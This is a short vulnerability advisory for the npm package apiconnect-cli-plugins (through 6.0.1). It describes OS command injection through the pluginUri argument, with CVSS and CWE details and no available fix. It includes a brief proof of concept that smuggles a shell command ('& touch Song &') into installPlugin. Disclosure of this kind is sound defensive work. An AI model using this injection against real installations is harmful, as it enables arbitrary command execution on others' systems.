apiconnect-cli-plugins vulnerable to OS Command Injection
apiconnect-cli-plugins through 6.0.1 is vulnerable to Command Injection. It allows execution of arbitrary commands via the pluginUri argument.
PoC
var root = require("apiconnect-cli-plugins");
var payload = "& touch Song &";
root.pluginLoader.installPlugin(payload, "");
The injection point is located in line 181 of file lib/plugin-loader.js, in the function installPlugin(pluginUri, registryUri).
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | apiconnect-cli-plugins | <= 6.0.1 | no fix |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-78- Platform
- npm
- Package
apiconnect-cli-plugins- Disclosed
- 24.05.2021
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-c9m9-48pw-6mpv - CC BY 4.0
Vulnerability history: apiconnect-cli-plugins
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